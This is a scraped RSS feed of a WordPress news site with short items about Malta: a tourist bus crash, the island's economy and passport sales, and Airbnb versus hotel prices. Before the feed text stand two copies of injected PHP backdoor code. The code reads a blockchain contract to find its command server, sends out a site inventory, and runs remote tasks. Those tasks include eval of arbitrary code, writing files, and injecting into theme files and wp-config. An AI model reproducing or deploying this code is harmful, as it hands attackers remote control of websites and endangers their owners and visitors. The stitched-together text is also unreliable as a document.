// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Malta – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 10 Apr 2018 00:39:52 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Malta – Brief News https://briefnews.eu 32 32 50 injured, including 2 British children, in deadly bus crash in Malta https://briefnews.eu/50-injured-including-2-british-children-in-deadly-bus-crash-in-malta/ https://briefnews.eu/50-injured-including-2-british-children-in-deadly-bus-crash-in-malta/#respond Tue, 10 Apr 2018 00:39:52 +0000 http://briefnews.eu/50-injured-including-2-british-children-in-deadly-bus-crash-in-malta/ malta bus crashREUTERS/Darrin Zammit Lupi

  • Two people have died and 50 have been injured in a bus crash in Malta.
  • The double-decker tourist bus hit a low-hanging tree branch.
  • Six people have been hospitalised, including two British children aged six and eight.

Three British tourists including two young children have been injured in a deadly bus crash in Malta. 

Two people have died and 50 were injured after an open-top double-decker tourist bus crashed into a low-hanging tree branch.

See the rest of the story at Business Insider

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]]> https://briefnews.eu/50-injured-including-2-british-children-in-deadly-bus-crash-in-malta/feed/ 0 How Malta Is Defying Europe's Economic Odds https://briefnews.eu/how-malta-is-defying-europes-economic-odds/ https://briefnews.eu/how-malta-is-defying-europes-economic-odds/#respond Wed, 04 Apr 2018 06:19:12 +0000 http://briefnews.eu/how-malta-is-defying-europes-economic-odds/ When Napoleon expelled the Knights and Dames of the Sovereign Military Order of Malta from their home in 1798, they had to survive. So the archaic order serving the Catholic Church, which had until then recruited only those of noble birth, opened up their tent to the non-noble. They brought in additional recruits, increased their revenue and, therefore, rebuilt their empire. Modern Malta is riding in part on that approach again, this time to beat the odds and emerge an unlikely economic miracle.

Malta — the smallest economy in the eurozone, with a gross domestic product of $ 11 billion — produces only about 20 percent of its food needs, has limited fresh water supplies and few domestic energy sources. But barely a decade into its European Union membership, the small island nation of nearly half a million people has weathered the eurozone crisis better than almost all the EU member states, and even expanded its GDP by a prodigious 6.2 percent in 2015, during arguably the worst period for small European countries.

Its strategy? A game of chess — opening up like the Maltese Knights did, but limiting exposure to external risks at the same time. Under an Individual Investor Programme (IIP) launched in 2014, Malta has issued nearly 700 passports — and thus, EU citizenship — to applicants who can share their talent, expertise and business connections with Malta. The recipients need to pay 650,000 euros to Malta’s National Development and Social Fund, which has advanced “quality of life projects,” in addition to a 150,000-euro investment in government stocks or bonds and the purchase of 350,000 euros in real estate. In turn, new citizens receive visa-free travel to more than 160 countries in the world, including the right of establishment in all 28 EU countries. Since the IIP’s inception in 2014, Malta has generated at least 200 million euros.

Malta weathered the euro crisis well because its financial setup was less internationally exposed than previously believed.

Michael Bartolo, former Maltese envoy to the U.N.

The other part: a mixture of financial services, including tax havens for outside corporations; online gaming; ship and airline maintenance and tourism — even as the country’s main bank, the Bank of Valletta, and other banks focused their business and reserves toward a domestic market during the stormy years of the eurozone crisis, says Michael Bartolo, the former ambassador and permanent representative of Malta to the United Nations and the World Trade Organization.

“Malta weathered the euro crisis well because its financial setup was less internationally exposed than previously believed,” says Bartolo, adding that the country’s small budget — the $ 4.37 billion expenditure outlay for 2018 is not much larger than that of major multinational companies — made it easier to manage too. The IIP, in the meantime, he says, has been “very successful, resulting in an inflow of capital and increase in expenditures.”

For sure, the Maltese strategy has critics. The International Monetary Fund in its 2017 analysis of the Maltese economy advised the government to wean itself off the IIP program and to contain public sector spending. Recent charges filed against three men accused of murdering journalist Daphne Caruana Galizia, who had been investigating corruption and money laundering at the highest levels of government, have also led to calls for a closer look at the sale of Maltese passports and the rule of law in Malta.

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These factors have dampened the Maltese government’s medium-term plans to maintain a surplus of 0.5 percent of GDP up to 2020. However, according to Carmelo Inguanez, Malta’s current permanent representative to the U.N., the country has been building its market capacity since the departure of the last British troops in 1979. According to him, “when you are successful, people will always say, ‘What is the trick?’ and then throw mud at you.”

The trick, he says, is the full social fund that caters to economic and social gaps and allows for investments. But that isn’t special to Malta. What really props up Malta’s prosperity is tourism — which grew at 4.3 percent in 2015, and injected 1.7 billion euros into the economy. Ruled by a range of ancient civilizations from the Phoenicians to the Normans, Malta is home to a multitude of churches, temples, civil buildings, burial grounds and monuments to the Knights, along with its beach.

Filmmakers looking for a “location double” for ancient Greece, Rome or the Middle East, where it may be cost-prohibitive or too unstable to shoot, often turn to Malta. The country also has a thriving iGaming industry, which has let online gamblingcompanies from Sweden and France — looking to escape relatively restrictive tax regimes in their own countries — set up online poker, sports betting and slots sites and pay only around 5 percent in corporate tax.

To support all this, Malta also imports workers — 18 percent of the workforce, or about 37,000 people, is foreign, according to the Malta Employers’ Association. Additionally, the country caters to thousands of young people coming to learn English. Bartolo, who organized the first English course in Malta for Thomas Cook, says that although the students may not stay in luxury hotels and eat in expensive restaurants, they “take the good experiences with them to their families and their schools — and almost always come back later in life.”

There is a downside. Many Maltese have been priced out of the housing market and will likely face an inflation hike of about 2 percent in the coming year.

Still, it’s a small tariff on the benefits, according to Inguanez, who recalls how just four decades ago, Malta’s economy revolved around British military expenditure, and how the country’s transition to a more diversified economic structure was painful. “But we are now at the table, giving our Mediterranean perspective to the EU, to the U.N.,” he says. “We played our cards very well, and because of this, we will remain a small island nation looking outward.”

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]]> https://briefnews.eu/how-malta-is-defying-europes-economic-odds/feed/ 0 This is why you should NEVER book a hotel in Malta, Portugal and Switzerland https://briefnews.eu/this-is-why-you-should-never-book-a-hotel-in-malta-portugal-and-switzerland/ https://briefnews.eu/this-is-why-you-should-never-book-a-hotel-in-malta-portugal-and-switzerland/#respond Mon, 12 Feb 2018 20:15:10 +0000 http://briefnews.eu/this-is-why-you-should-never-book-a-hotel-in-malta-portugal-and-switzerland/

Cheap accommodation on holiday is a top priority for most. So, if you’re planning a holiday to any of these top European destinations, you may want to consider booking an Airbnb, as a three star hotel will cost holidaymakers more than double the price. 

Based on a one-night stay for two in each country’s capital, money-saving website vouchercloud has revealed there are seven European holiday hotspots where it’s much cheaper to get an Airbnb than a three star hotel. 

Like the Maltese capital of Valletta. Over 1 million are expected to visit this year’s European Capital of Culture. 

But, if you’re thinking of jetting off to this cultural hotspot, research reveals that opting for an Airbnb is the more economical option. 

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Over 1 million people are expected to visit the Maltese capital of Valletta this year

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There is a 194% difference between the average cost of an Airbnb and a hotel room in Lisbon

Valletta tops the list as the European destination with the biggest increase in price – with your average Airbnb costing £54 a night, compared to a hotel at £123 a night. That’s a whopping 227 per cent increase. 

Coming a close second, the Portuguese capital of Lisbon is a staggering 194 per cent price difference, with your average priced Airbnb costing £56, compared to an £108 a night hotel.  

The Swiss capital of Bern is another destination to watch out for: with an Airbnb averaging around £71 a night compared to an £129 a night hotel. Opting for an Airbnb would save you £58. 

From the top 20 list, the European destination with the cheapest accommodation on offer is Warsaw in Poland, offering Airbnbs at £37 a night, and hotels for £54. 

DublinGETTY

Dublin is the most expensive city, with an Airbnb costing on average £84 per night

On the opposite end of the scale, Irish capital Dublin – a hit with stag and hen dos – is the most expensive, at £84 a night for an Airbnb versus £132 for a hotel. 

There were also seven European locations where it works out cheaper to stay in a hotel, than an Airbnb. 

In Andorra la Vella, the highest capital city in Europe, an average hotel costs a mere £43, whilst an Airbnb will set you back nearly double that – £79 a night. 

According to vouchercloud, Baltic beauty’s Latvia, Ukraine, Lithuania, Azerbaijan, Armenia and Estonia all cost between £40-46 a night for an Airbnb stay, compared to cheaper hotel rates of between £30-44 a night. 

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In Slovenia, the average cost of an Airbnb is £46, compared to £77 for a hotel room

Best value for money: Airbnb vs hotel prices

Slovenia – Airbnb £46; hotel £77

France – Airbnb £70; hotel £116

Luxembourg – Airbnb £75; hotel £121

Spain – Airbnb £58; hotel £92

Denmark – Airbnb £82; hotel £130

Lichenstein – Airbnb £78; hotel £124

Ireland – Airbnb £84 – hotel £132

Vatican City – Airbnb £72; hotel £113

Germany – Airbnb £49; hotel £75

Poland – Airbnb £37; hotel £54

Austria – Airbnb £54; hotel £78

Greece – Airbnb £43; hotel £63

Italy – Airbnb £69; hotel £99

AzerbaijanGETTY

The average cost of a hotel room in Azerbaijan is £37, compared to £40 for an Airbnb

The seven locations in Europe where it actually works out cheaper to stay in a hotel

Andorra – hotel £43; Airbnb £79

Latvia – hotel £30; Airbnb £46

Ukraine – hotel £30; Airbnb £40

Lithuania – hotel £37; Airbnb £45

Azerbaijan – hotel £37; Airbnb £40

Armenia – hotel £39; Airbnb £42

Estonia – hotel £44; Airbnb £46

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]]> https://briefnews.eu/this-is-why-you-should-never-book-a-hotel-in-malta-portugal-and-switzerland/feed/ 0 Forget Paris, this tiny town in Malta is Europe’s Culture Capital in 2018 https://briefnews.eu/forget-paris-this-tiny-town-in-malta-is-europes-culture-capital-in-2018/ https://briefnews.eu/forget-paris-this-tiny-town-in-malta-is-europes-culture-capital-in-2018/#respond Fri, 02 Feb 2018 18:32:32 +0000 http://briefnews.eu/forget-paris-this-tiny-town-in-malta-is-europes-culture-capital-in-2018/
Juliet Rix


Juliet Rix February 2, 2018

